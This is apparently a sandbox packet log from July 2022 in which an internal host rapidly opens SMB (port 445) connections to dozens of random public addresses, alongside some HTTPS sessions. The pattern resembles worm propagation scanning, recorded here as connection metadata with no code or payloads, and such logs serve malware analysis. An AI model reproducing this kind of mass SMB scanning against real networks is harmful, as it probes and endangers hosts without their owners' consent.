Jul 20, 2022 06:07:55.820533991 CEST	53067	445	192.168.2.6	46.242.3.194
Jul 20, 2022 06:07:55.820616007 CEST	53070	445	192.168.2.6	72.149.177.81
Jul 20, 2022 06:07:55.820677996 CEST	53071	445	192.168.2.6	113.141.193.113
Jul 20, 2022 06:07:55.820733070 CEST	53072	445	192.168.2.6	167.74.139.193
Jul 20, 2022 06:07:55.820765018 CEST	53073	445	192.168.2.6	169.3.172.145
Jul 20, 2022 06:07:55.820826054 CEST	53074	445	192.168.2.6	173.69.105.88
Jul 20, 2022 06:07:55.820871115 CEST	53076	445	192.168.2.6	62.94.196.64
Jul 20, 2022 06:07:55.820894957 CEST	53077	445	192.168.2.6	53.60.150.98
Jul 20, 2022 06:07:55.821075916 CEST	53079	445	192.168.2.6	83.81.217.185
Jul 20, 2022 06:07:55.843429089 CEST	53080	445	192.168.2.6	176.241.42.30
Jul 20, 2022 06:07:55.906512976 CEST	53081	445	192.168.2.6	178.159.42.63
Jul 20, 2022 06:07:55.917165995 CEST	443	53056	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:55.917283058 CEST	53056	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:55.922257900 CEST	53056	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:55.922278881 CEST	443	53056	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:55.922677994 CEST	443	53056	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:55.924637079 CEST	53056	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:55.968501091 CEST	443	53056	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:56.010190964 CEST	443	53056	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:56.010238886 CEST	443	53056	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:56.010274887 CEST	443	53056	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:56.010380983 CEST	53056	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:56.010411978 CEST	443	53056	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:56.010440111 CEST	53056	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:56.010483027 CEST	53056	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:56.010581017 CEST	443	53056	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:56.010618925 CEST	443	53056	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:56.010684013 CEST	53056	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:56.010704994 CEST	443	53056	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:56.010776043 CEST	53056	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:56.010786057 CEST	443	53056	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:56.010849953 CEST	53056	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:56.010865927 CEST	443	53056	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:56.010905981 CEST	443	53056	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:56.011509895 CEST	53056	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:56.014245033 CEST	53056	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:56.014283895 CEST	443	53056	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:56.014334917 CEST	53056	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:56.014352083 CEST	443	53056	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:56.100218058 CEST	53083	443	192.168.2.6	52.242.101.226
Jul 20, 2022 06:07:56.100261927 CEST	443	53083	52.242.101.226	192.168.2.6
Jul 20, 2022 06:07:56.100361109 CEST	53083	443	192.168.2.6	52.242.101.226
Jul 20, 2022 06:07:56.100725889 CEST	53083	443	192.168.2.6	52.242.101.226
Jul 20, 2022 06:07:56.100740910 CEST	443	53083	52.242.101.226	192.168.2.6
Jul 20, 2022 06:07:56.125422955 CEST	53084	445	192.168.2.6	107.186.37.4
Jul 20, 2022 06:07:56.293315887 CEST	445	53084	107.186.37.4	192.168.2.6
Jul 20, 2022 06:07:56.293422937 CEST	53084	445	192.168.2.6	107.186.37.4
Jul 20, 2022 06:07:56.293684006 CEST	53084	445	192.168.2.6	107.186.37.4
Jul 20, 2022 06:07:56.422786951 CEST	443	53083	52.242.101.226	192.168.2.6
Jul 20, 2022 06:07:56.422899961 CEST	53083	443	192.168.2.6	52.242.101.226
Jul 20, 2022 06:07:56.424659967 CEST	53083	443	192.168.2.6	52.242.101.226
Jul 20, 2022 06:07:56.424679995 CEST	443	53083	52.242.101.226	192.168.2.6
Jul 20, 2022 06:07:56.425020933 CEST	443	53083	52.242.101.226	192.168.2.6
Jul 20, 2022 06:07:56.426929951 CEST	53083	443	192.168.2.6	52.242.101.226
Jul 20, 2022 06:07:56.461502075 CEST	445	53084	107.186.37.4	192.168.2.6
Jul 20, 2022 06:07:56.468501091 CEST	443	53083	52.242.101.226	192.168.2.6
Jul 20, 2022 06:07:56.469144106 CEST	53084	445	192.168.2.6	107.186.37.4
Jul 20, 2022 06:07:56.564192057 CEST	53088	445	192.168.2.6	59.189.91.73
Jul 20, 2022 06:07:56.564322948 CEST	53089	445	192.168.2.6	203.252.189.240
Jul 20, 2022 06:07:56.564340115 CEST	53090	445	192.168.2.6	14.188.72.90
Jul 20, 2022 06:07:56.564485073 CEST	53093	445	192.168.2.6	158.26.186.195
Jul 20, 2022 06:07:56.635581017 CEST	443	53083	52.242.101.226	192.168.2.6
Jul 20, 2022 06:07:56.635627985 CEST	443	53083	52.242.101.226	192.168.2.6
Jul 20, 2022 06:07:56.635663033 CEST	443	53083	52.242.101.226	192.168.2.6
Jul 20, 2022 06:07:56.635762930 CEST	53083	443	192.168.2.6	52.242.101.226
Jul 20, 2022 06:07:56.635803938 CEST	443	53083	52.242.101.226	192.168.2.6
Jul 20, 2022 06:07:56.635826111 CEST	53083	443	192.168.2.6	52.242.101.226
Jul 20, 2022 06:07:56.635883093 CEST	53083	443	192.168.2.6	52.242.101.226
Jul 20, 2022 06:07:56.636018038 CEST	443	53083	52.242.101.226	192.168.2.6
Jul 20, 2022 06:07:56.636060953 CEST	443	53083	52.242.101.226	192.168.2.6
Jul 20, 2022 06:07:56.636121035 CEST	53083	443	192.168.2.6	52.242.101.226
Jul 20, 2022 06:07:56.636149883 CEST	443	53083	52.242.101.226	192.168.2.6
Jul 20, 2022 06:07:56.636167049 CEST	53083	443	192.168.2.6	52.242.101.226
Jul 20, 2022 06:07:56.636233091 CEST	443	53083	52.242.101.226	192.168.2.6
Jul 20, 2022 06:07:56.636306047 CEST	53083	443	192.168.2.6	52.242.101.226
Jul 20, 2022 06:07:56.636324883 CEST	443	53083	52.242.101.226	192.168.2.6
Jul 20, 2022 06:07:56.636368990 CEST	443	53083	52.242.101.226	192.168.2.6
Jul 20, 2022 06:07:56.636437893 CEST	53083	443	192.168.2.6	52.242.101.226
Jul 20, 2022 06:07:56.637186050 CEST	445	53084	107.186.37.4	192.168.2.6
Jul 20, 2022 06:07:56.637622118 CEST	53083	443	192.168.2.6	52.242.101.226
Jul 20, 2022 06:07:56.637655020 CEST	443	53083	52.242.101.226	192.168.2.6
Jul 20, 2022 06:07:56.637671947 CEST	53083	443	192.168.2.6	52.242.101.226
Jul 20, 2022 06:07:56.637684107 CEST	443	53083	52.242.101.226	192.168.2.6
Jul 20, 2022 06:07:56.637712955 CEST	53084	445	192.168.2.6	107.186.37.4
Jul 20, 2022 06:07:56.672321081 CEST	53095	445	192.168.2.6	84.220.35.20
Jul 20, 2022 06:07:56.672419071 CEST	53098	445	192.168.2.6	206.179.51.175
Jul 20, 2022 06:07:56.672465086 CEST	53097	445	192.168.2.6	92.105.26.129
Jul 20, 2022 06:07:56.805598974 CEST	445	53084	107.186.37.4	192.168.2.6
Jul 20, 2022 06:07:56.812356949 CEST	53101	445	192.168.2.6	69.73.247.125
Jul 20, 2022 06:07:56.812894106 CEST	53102	445	192.168.2.6	128.84.186.121
Jul 20, 2022 06:07:56.830173969 CEST	53104	445	192.168.2.6	196.141.249.168
Jul 20, 2022 06:07:56.843662024 CEST	53108	445	192.168.2.6	126.238.122.225
Jul 20, 2022 06:07:56.860239983 CEST	53110	445	192.168.2.6	115.130.56.165
Jul 20, 2022 06:07:56.860790968 CEST	53111	445	192.168.2.6	31.186.70.90
Jul 20, 2022 06:07:56.861651897 CEST	53112	445	192.168.2.6	107.186.37.5
Jul 20, 2022 06:07:56.880055904 CEST	53113	445	192.168.2.6	193.184.78.27
Jul 20, 2022 06:07:56.890254974 CEST	53118	445	192.168.2.6	37.21.160.65
Jul 20, 2022 06:07:56.922338963 CEST	53119	445	192.168.2.6	176.241.42.31
Jul 20, 2022 06:07:56.937746048 CEST	53120	445	192.168.2.6	76.75.95.231
Jul 20, 2022 06:07:56.938625097 CEST	53121	445	192.168.2.6	12.233.103.186
Jul 20, 2022 06:07:56.975136995 CEST	53123	445	192.168.2.6	93.241.51.150
Jul 20, 2022 06:07:56.975428104 CEST	53127	445	192.168.2.6	157.55.152.192
Jul 20, 2022 06:07:56.975575924 CEST	53128	445	192.168.2.6	6.230.199.78
Jul 20, 2022 06:07:56.975686073 CEST	53130	445	192.168.2.6	214.216.90.171
Jul 20, 2022 06:07:56.975816965 CEST	53131	445	192.168.2.6	46.216.87.137
Jul 20, 2022 06:07:56.975858927 CEST	53132	445	192.168.2.6	212.229.106.109
Jul 20, 2022 06:07:56.975954056 CEST	53133	445	192.168.2.6	12.44.82.112
Jul 20, 2022 06:07:56.976030111 CEST	53135	445	192.168.2.6	216.162.196.164
Jul 20, 2022 06:07:56.976100922 CEST	53136	445	192.168.2.6	72.209.124.1
Jul 20, 2022 06:07:56.976169109 CEST	53137	445	192.168.2.6	5.221.247.227
Jul 20, 2022 06:07:56.976306915 CEST	53140	445	192.168.2.6	106.18.194.170
Jul 20, 2022 06:07:56.977083921 CEST	53141	445	192.168.2.6	178.159.42.64
Jul 20, 2022 06:07:56.977852106 CEST	53142	445	192.168.2.6	18.54.103.48
Jul 20, 2022 06:07:56.979878902 CEST	445	53119	176.241.42.31	192.168.2.6
Jul 20, 2022 06:07:56.992698908 CEST	445	53101	69.73.247.125	192.168.2.6
Jul 20, 2022 06:07:57.030550003 CEST	445	53112	107.186.37.5	192.168.2.6
Jul 20, 2022 06:07:57.030678988 CEST	53112	445	192.168.2.6	107.186.37.5
Jul 20, 2022 06:07:57.030889034 CEST	53112	445	192.168.2.6	107.186.37.5
Jul 20, 2022 06:07:57.038233995 CEST	53144	445	192.168.2.6	107.186.37.5
Jul 20, 2022 06:07:57.080595970 CEST	445	53135	216.162.196.164	192.168.2.6
Jul 20, 2022 06:07:57.199656963 CEST	445	53112	107.186.37.5	192.168.2.6
Jul 20, 2022 06:07:57.199698925 CEST	445	53112	107.186.37.5	192.168.2.6
Jul 20, 2022 06:07:57.207299948 CEST	445	53144	107.186.37.5	192.168.2.6
Jul 20, 2022 06:07:57.207406044 CEST	53144	445	192.168.2.6	107.186.37.5
Jul 20, 2022 06:07:57.207839012 CEST	53144	445	192.168.2.6	107.186.37.5
Jul 20, 2022 06:07:57.233208895 CEST	53145	443	192.168.2.6	52.152.110.14
Jul 20, 2022 06:07:57.233253002 CEST	443	53145	52.152.110.14	192.168.2.6
Jul 20, 2022 06:07:57.233366966 CEST	53145	443	192.168.2.6	52.152.110.14
Jul 20, 2022 06:07:57.234472036 CEST	53145	443	192.168.2.6	52.152.110.14
Jul 20, 2022 06:07:57.234497070 CEST	443	53145	52.152.110.14	192.168.2.6
Jul 20, 2022 06:07:57.377157927 CEST	445	53144	107.186.37.5	192.168.2.6
Jul 20, 2022 06:07:57.388122082 CEST	53144	445	192.168.2.6	107.186.37.5
Jul 20, 2022 06:07:57.483561993 CEST	53119	445	192.168.2.6	176.241.42.31
Jul 20, 2022 06:07:57.499305010 CEST	53101	445	192.168.2.6	69.73.247.125
Jul 20, 2022 06:07:57.535142899 CEST	445	53119	176.241.42.31	192.168.2.6
Jul 20, 2022 06:07:57.557260036 CEST	445	53144	107.186.37.5	192.168.2.6
Jul 20, 2022 06:07:57.589390039 CEST	53144	445	192.168.2.6	107.186.37.5
Jul 20, 2022 06:07:57.592845917 CEST	53135	445	192.168.2.6	216.162.196.164
Jul 20, 2022 06:07:57.640064955 CEST	443	53145	52.152.110.14	192.168.2.6
Jul 20, 2022 06:07:57.640284061 CEST	53145	443	192.168.2.6	52.152.110.14
Jul 20, 2022 06:07:57.674911976 CEST	53145	443	192.168.2.6	52.152.110.14
Jul 20, 2022 06:07:57.674946070 CEST	443	53145	52.152.110.14	192.168.2.6
Jul 20, 2022 06:07:57.675502062 CEST	443	53145	52.152.110.14	192.168.2.6
Jul 20, 2022 06:07:57.676651955 CEST	53145	443	192.168.2.6	52.152.110.14
Jul 20, 2022 06:07:57.681971073 CEST	445	53101	69.73.247.125	192.168.2.6
Jul 20, 2022 06:07:57.698295116 CEST	445	53135	216.162.196.164	192.168.2.6
Jul 20, 2022 06:07:57.703584909 CEST	53149	445	192.168.2.6	76.36.134.91
Jul 20, 2022 06:07:57.704209089 CEST	53150	445	192.168.2.6	125.124.150.26
Jul 20, 2022 06:07:57.704765081 CEST	53151	445	192.168.2.6	185.149.223.45
Jul 20, 2022 06:07:57.706172943 CEST	53154	445	192.168.2.6	112.53.25.236
Jul 20, 2022 06:07:57.720490932 CEST	443	53145	52.152.110.14	192.168.2.6
Jul 20, 2022 06:07:57.760598898 CEST	445	53144	107.186.37.5	192.168.2.6
Jul 20, 2022 06:07:57.845379114 CEST	53157	445	192.168.2.6	166.29.154.10
Jul 20, 2022 06:07:57.846101999 CEST	53158	445	192.168.2.6	135.71.47.176
Jul 20, 2022 06:07:57.846748114 CEST	53159	445	192.168.2.6	130.118.129.116
Jul 20, 2022 06:07:57.940679073 CEST	443	53145	52.152.110.14	192.168.2.6
Jul 20, 2022 06:07:57.940800905 CEST	443	53145	52.152.110.14	192.168.2.6
Jul 20, 2022 06:07:57.940937042 CEST	443	53145	52.152.110.14	192.168.2.6
Jul 20, 2022 06:07:57.940936089 CEST	53145	443	192.168.2.6	52.152.110.14
Jul 20, 2022 06:07:57.941008091 CEST	443	53145	52.152.110.14	192.168.2.6
Jul 20, 2022 06:07:57.941035986 CEST	53145	443	192.168.2.6	52.152.110.14
Jul 20, 2022 06:07:57.941045046 CEST	443	53145	52.152.110.14	192.168.2.6
Jul 20, 2022 06:07:57.941087008 CEST	53145	443	192.168.2.6	52.152.110.14
Jul 20, 2022 06:07:57.941099882 CEST	443	53145	52.152.110.14	192.168.2.6
Jul 20, 2022 06:07:57.941121101 CEST	53145	443	192.168.2.6	52.152.110.14
Jul 20, 2022 06:07:57.941191912 CEST	53145	443	192.168.2.6	52.152.110.14
Jul 20, 2022 06:07:57.941194057 CEST	443	53145	52.152.110.14	192.168.2.6
Jul 20, 2022 06:07:57.941216946 CEST	443	53145	52.152.110.14	192.168.2.6
Jul 20, 2022 06:07:57.941272974 CEST	53145	443	192.168.2.6	52.152.110.14
Jul 20, 2022 06:07:57.941323042 CEST	443	53145	52.152.110.14	192.168.2.6
Jul 20, 2022 06:07:57.941392899 CEST	53145	443	192.168.2.6	52.152.110.14
Jul 20, 2022 06:07:57.981487036 CEST	53161	445	192.168.2.6	76.234.79.115
Jul 20, 2022 06:07:57.983385086 CEST	53165	445	192.168.2.6	46.165.78.7
Jul 20, 2022 06:07:57.989475965 CEST	53166	445	192.168.2.6	19.40.3.21
Jul 20, 2022 06:07:57.990063906 CEST	53167	445	192.168.2.6	192.94.7.250
Jul 20, 2022 06:07:57.991029024 CEST	53169	445	192.168.2.6	37.21.160.66
Jul 20, 2022 06:07:57.991673946 CEST	53170	445	192.168.2.6	43.219.14.74
Jul 20, 2022 06:07:57.992192030 CEST	53171	445	192.168.2.6	21.242.188.243
Jul 20, 2022 06:07:57.995733023 CEST	53145	443	192.168.2.6	52.152.110.14
Jul 20, 2022 06:07:57.995770931 CEST	443	53145	52.152.110.14	192.168.2.6
Jul 20, 2022 06:07:57.995786905 CEST	53145	443	192.168.2.6	52.152.110.14
Jul 20, 2022 06:07:57.995799065 CEST	443	53145	52.152.110.14	192.168.2.6
Jul 20, 2022 06:07:58.013178110 CEST	53173	445	192.168.2.6	181.190.28.123
Jul 20, 2022 06:07:58.060075998 CEST	53178	445	192.168.2.6	178.159.42.65
Jul 20, 2022 06:07:58.060591936 CEST	53179	445	192.168.2.6	176.241.42.32
Jul 20, 2022 06:07:58.090986967 CEST	53180	443	192.168.2.6	20.199.120.151
Jul 20, 2022 06:07:58.091042042 CEST	443	53180	20.199.120.151	192.168.2.6
Jul 20, 2022 06:07:58.091131926 CEST	53180	443	192.168.2.6	20.199.120.151
Jul 20, 2022 06:07:58.091839075 CEST	53180	443	192.168.2.6	20.199.120.151
Jul 20, 2022 06:07:58.091865063 CEST	443	53180	20.199.120.151	192.168.2.6
Jul 20, 2022 06:07:58.097436905 CEST	53182	445	192.168.2.6	57.210.36.2
Jul 20, 2022 06:07:58.098159075 CEST	53183	445	192.168.2.6	88.202.40.237
Jul 20, 2022 06:07:58.098692894 CEST	53184	445	192.168.2.6	84.38.231.219
Jul 20, 2022 06:07:58.100574970 CEST	53188	445	192.168.2.6	160.47.210.154
Jul 20, 2022 06:07:58.101100922 CEST	53189	445	192.168.2.6	128.81.55.64
Jul 20, 2022 06:07:58.102054119 CEST	53191	445	192.168.2.6	50.195.13.1
Jul 20, 2022 06:07:58.102551937 CEST	53192	445	192.168.2.6	223.11.32.252
Jul 20, 2022 06:07:58.103037119 CEST	53193	445	192.168.2.6	144.78.147.222
Jul 20, 2022 06:07:58.103537083 CEST	53194	445	192.168.2.6	143.117.131.91
Jul 20, 2022 06:07:58.104480982 CEST	53196	445	192.168.2.6	182.167.222.75
Jul 20, 2022 06:07:58.104979038 CEST	53197	445	192.168.2.6	75.47.142.139
Jul 20, 2022 06:07:58.105537891 CEST	53198	445	192.168.2.6	21.8.59.206
Jul 20, 2022 06:07:58.107240915 CEST	53201	445	192.168.2.6	56.171.60.130
Jul 20, 2022 06:07:58.107743025 CEST	53202	445	192.168.2.6	73.59.124.161
Jul 20, 2022 06:07:58.185338974 CEST	443	53180	20.199.120.151	192.168.2.6
Jul 20, 2022 06:07:58.185414076 CEST	53180	443	192.168.2.6	20.199.120.151
Jul 20, 2022 06:07:58.190140009 CEST	53180	443	192.168.2.6	20.199.120.151
Jul 20, 2022 06:07:58.190164089 CEST	443	53180	20.199.120.151	192.168.2.6
Jul 20, 2022 06:07:58.190500975 CEST	443	53180	20.199.120.151	192.168.2.6
Jul 20, 2022 06:07:58.206193924 CEST	53180	443	192.168.2.6	20.199.120.151
Jul 20, 2022 06:07:58.206219912 CEST	53180	443	192.168.2.6	20.199.120.151
Jul 20, 2022 06:07:58.206233978 CEST	443	53180	20.199.120.151	192.168.2.6
Jul 20, 2022 06:07:58.206383944 CEST	53180	443	192.168.2.6	20.199.120.151
Jul 20, 2022 06:07:58.233656883 CEST	443	53180	20.199.120.151	192.168.2.6
Jul 20, 2022 06:07:58.233815908 CEST	443	53180	20.199.120.151	192.168.2.6
Jul 20, 2022 06:07:58.233939886 CEST	53180	443	192.168.2.6	20.199.120.151
Jul 20, 2022 06:07:58.280302048 CEST	53180	443	192.168.2.6	20.199.120.151
Jul 20, 2022 06:07:58.280333996 CEST	443	53180	20.199.120.151	192.168.2.6
Jul 20, 2022 06:07:58.283027887 CEST	53204	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:58.283077955 CEST	443	53204	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:58.283175945 CEST	53204	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:58.283442020 CEST	53204	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:58.283468008 CEST	443	53204	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:58.793447018 CEST	443	53204	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:58.793576956 CEST	53204	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:58.796047926 CEST	53204	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:58.796063900 CEST	443	53204	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:58.796730995 CEST	443	53204	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:58.830988884 CEST	53204	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:58.872509003 CEST	443	53204	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:58.891247034 CEST	53207	445	192.168.2.6	135.30.158.124
Jul 20, 2022 06:07:58.891761065 CEST	53208	445	192.168.2.6	79.178.177.191
Jul 20, 2022 06:07:58.892313004 CEST	53209	445	192.168.2.6	25.56.15.141
Jul 20, 2022 06:07:58.893687963 CEST	53212	445	192.168.2.6	136.50.76.49
Jul 20, 2022 06:07:58.997103930 CEST	53217	445	192.168.2.6	112.239.44.4
Jul 20, 2022 06:07:59.003629923 CEST	53218	445	192.168.2.6	217.153.237.231
Jul 20, 2022 06:07:59.003801107 CEST	53219	445	192.168.2.6	75.206.107.133
Jul 20, 2022 06:07:59.101008892 CEST	53221	445	192.168.2.6	37.21.160.67
Jul 20, 2022 06:07:59.110095978 CEST	53223	445	192.168.2.6	107.114.36.131
Jul 20, 2022 06:07:59.111730099 CEST	53224	445	192.168.2.6	67.127.50.181
Jul 20, 2022 06:07:59.112715006 CEST	53226	445	192.168.2.6	154.22.167.147
Jul 20, 2022 06:07:59.113190889 CEST	53227	445	192.168.2.6	193.96.227.2
Jul 20, 2022 06:07:59.124979973 CEST	53228	445	192.168.2.6	194.132.199.53
Jul 20, 2022 06:07:59.127553940 CEST	53232	445	192.168.2.6	119.195.28.73
Jul 20, 2022 06:07:59.127993107 CEST	53233	445	192.168.2.6	73.238.169.177
Jul 20, 2022 06:07:59.163665056 CEST	443	53204	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:59.163719893 CEST	443	53204	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:59.163790941 CEST	443	53204	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:59.163815975 CEST	443	53204	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:59.163863897 CEST	53204	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:59.163918018 CEST	443	53204	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:59.163938046 CEST	53204	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:59.163949013 CEST	443	53204	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:59.163974047 CEST	443	53204	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:59.163981915 CEST	53204	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:59.163996935 CEST	53204	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:59.164007902 CEST	443	53204	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:59.164025068 CEST	53204	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:59.164031029 CEST	443	53204	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:59.164036036 CEST	53204	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:59.164072037 CEST	53204	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:59.164083004 CEST	443	53204	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:59.164100885 CEST	53204	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:59.164129019 CEST	53204	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:59.164133072 CEST	443	53204	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:59.164145947 CEST	53204	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:59.164158106 CEST	443	53204	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:59.164203882 CEST	53204	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:59.164248943 CEST	443	53204	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:59.164319038 CEST	53204	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:59.211247921 CEST	53237	445	192.168.2.6	178.159.42.66
Jul 20, 2022 06:07:59.212466002 CEST	53238	445	192.168.2.6	176.241.42.33
Jul 20, 2022 06:07:59.213923931 CEST	53240	445	192.168.2.6	112.82.83.156
Jul 20, 2022 06:07:59.215301037 CEST	53243	445	192.168.2.6	63.92.197.49
Jul 20, 2022 06:07:59.215756893 CEST	53244	445	192.168.2.6	169.201.197.125
Jul 20, 2022 06:07:59.216239929 CEST	53245	445	192.168.2.6	137.45.43.19
Jul 20, 2022 06:07:59.217899084 CEST	53249	445	192.168.2.6	167.241.5.223
Jul 20, 2022 06:07:59.218502045 CEST	53250	445	192.168.2.6	172.250.57.41
Jul 20, 2022 06:07:59.219464064 CEST	53252	445	192.168.2.6	106.244.68.160
Jul 20, 2022 06:07:59.220084906 CEST	53253	445	192.168.2.6	194.89.0.209
Jul 20, 2022 06:07:59.220670938 CEST	53254	445	192.168.2.6	216.167.210.160
Jul 20, 2022 06:07:59.221187115 CEST	53255	445	192.168.2.6	166.166.43.177
Jul 20, 2022 06:07:59.222214937 CEST	53257	445	192.168.2.6	154.5.216.180
Jul 20, 2022 06:07:59.222701073 CEST	53258	445	192.168.2.6	113.174.124.25
Jul 20, 2022 06:07:59.223205090 CEST	53259	445	192.168.2.6	73.186.220.64
Jul 20, 2022 06:07:59.316256046 CEST	53204	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:59.316310883 CEST	443	53204	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:59.316395044 CEST	53204	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:59.316416025 CEST	443	53204	40.125.122.176	192.168.2.6
Jul 20, 2022 06:08:00.307060003 CEST	53265	445	192.168.2.6	24.8.73.208
Jul 20, 2022 06:08:00.307588100 CEST	53266	445	192.168.2.6	60.219.20.37
Jul 20, 2022 06:08:00.308070898 CEST	53267	445	192.168.2.6	107.76.152.164
Jul 20, 2022 06:08:00.309469938 CEST	53270	445	192.168.2.6	136.114.175.184
Jul 20, 2022 06:08:00.361295938 CEST	53274	445	192.168.2.6	178.159.42.67
Jul 20, 2022 06:08:00.361886024 CEST	53275	445	192.168.2.6	176.241.42.34
Jul 20, 2022 06:08:00.362493038 CEST	53276	445	192.168.2.6	37.21.160.68
Jul 20, 2022 06:08:00.389249086 CEST	445	53274	178.159.42.67	192.168.2.6
Jul 20, 2022 06:08:00.455159903 CEST	53279	445	192.168.2.6	27.25.251.152
Jul 20, 2022 06:08:00.456762075 CEST	53281	445	192.168.2.6	106.168.132.235
Jul 20, 2022 06:08:00.457295895 CEST	53282	445	192.168.2.6	195.180.78.226
Jul 20, 2022 06:08:00.457799911 CEST	53283	445	192.168.2.6	78.221.207.7
Jul 20, 2022 06:08:00.458298922 CEST	53284	445	192.168.2.6	134.107.19.125
Jul 20, 2022 06:08:00.459686041 CEST	53287	445	192.168.2.6	121.179.83.122
Jul 20, 2022 06:08:00.460199118 CEST	53288	445	192.168.2.6	147.83.161.114
Jul 20, 2022 06:08:00.460845947 CEST	53289	445	192.168.2.6	192.128.165.230
Jul 20, 2022 06:08:00.464145899 CEST	53296	445	192.168.2.6	21.76.50.130
Jul 20, 2022 06:08:00.464641094 CEST	53297	445	192.168.2.6	58.173.247.225
Jul 20, 2022 06:08:00.493594885 CEST	53302	445	192.168.2.6	99.114.211.131
Jul 20, 2022 06:08:00.510026932 CEST	53303	445	192.168.2.6	60.134.107.178
Jul 20, 2022 06:08:00.510209084 CEST	53305	445	192.168.2.6	105.77.39.118
Jul 20, 2022 06:08:00.510323048 CEST	53306	445	192.168.2.6	187.16.251.218
Jul 20, 2022 06:08:00.510463953 CEST	53309	445	192.168.2.6	115.91.230.22
Jul 20, 2022 06:08:00.510603905 CEST	53312	445	192.168.2.6	145.148.73.231
Jul 20, 2022 06:08:00.510703087 CEST	53313	445	192.168.2.6	74.246.251.69
Jul 20, 2022 06:08:00.510791063 CEST	53314	445	192.168.2.6	84.196.91.235
Jul 20, 2022 06:08:00.510967970 CEST	53316	445	192.168.2.6	158.175.119.109
Jul 20, 2022 06:08:00.511027098 CEST	53317	445	192.168.2.6	210.46.4.6
Jul 20, 2022 06:08:00.511084080 CEST	53318	445	192.168.2.6	52.62.249.7
Jul 20, 2022 06:08:00.511137009 CEST	53319	445	192.168.2.6	186.80.227.149
Jul 20, 2022 06:08:00.511187077 CEST	53321	445	192.168.2.6	215.52.30.197
Jul 20, 2022 06:08:00.512372971 CEST	53301	445	192.168.2.6	180.18.91.221
Jul 20, 2022 06:08:00.765785933 CEST	53323	445	192.168.2.6	107.186.37.5
Jul 20, 2022 06:08:00.804780960 CEST	445	53303	60.134.107.178	192.168.2.6
Jul 20, 2022 06:08:00.891560078 CEST	53274	445	192.168.2.6	178.159.42.67
Jul 20, 2022 06:08:00.919478893 CEST	445	53274	178.159.42.67	192.168.2.6
Jul 20, 2022 06:08:00.936408043 CEST	445	53323	107.186.37.5	192.168.2.6
Jul 20, 2022 06:08:00.936516047 CEST	53323	445	192.168.2.6	107.186.37.5
Jul 20, 2022 06:08:00.936655998 CEST	53323	445	192.168.2.6	107.186.37.5
Jul 20, 2022 06:08:01.109678984 CEST	445	53323	107.186.37.5	192.168.2.6
Jul 20, 2022 06:08:01.109894991 CEST	53323	445	192.168.2.6	107.186.37.5
Jul 20, 2022 06:08:01.280761957 CEST	445	53323	107.186.37.5	192.168.2.6
Jul 20, 2022 06:08:01.280941963 CEST	53323	445	192.168.2.6	107.186.37.5
Jul 20, 2022 06:08:01.390068054 CEST	53303	445	192.168.2.6	60.134.107.178
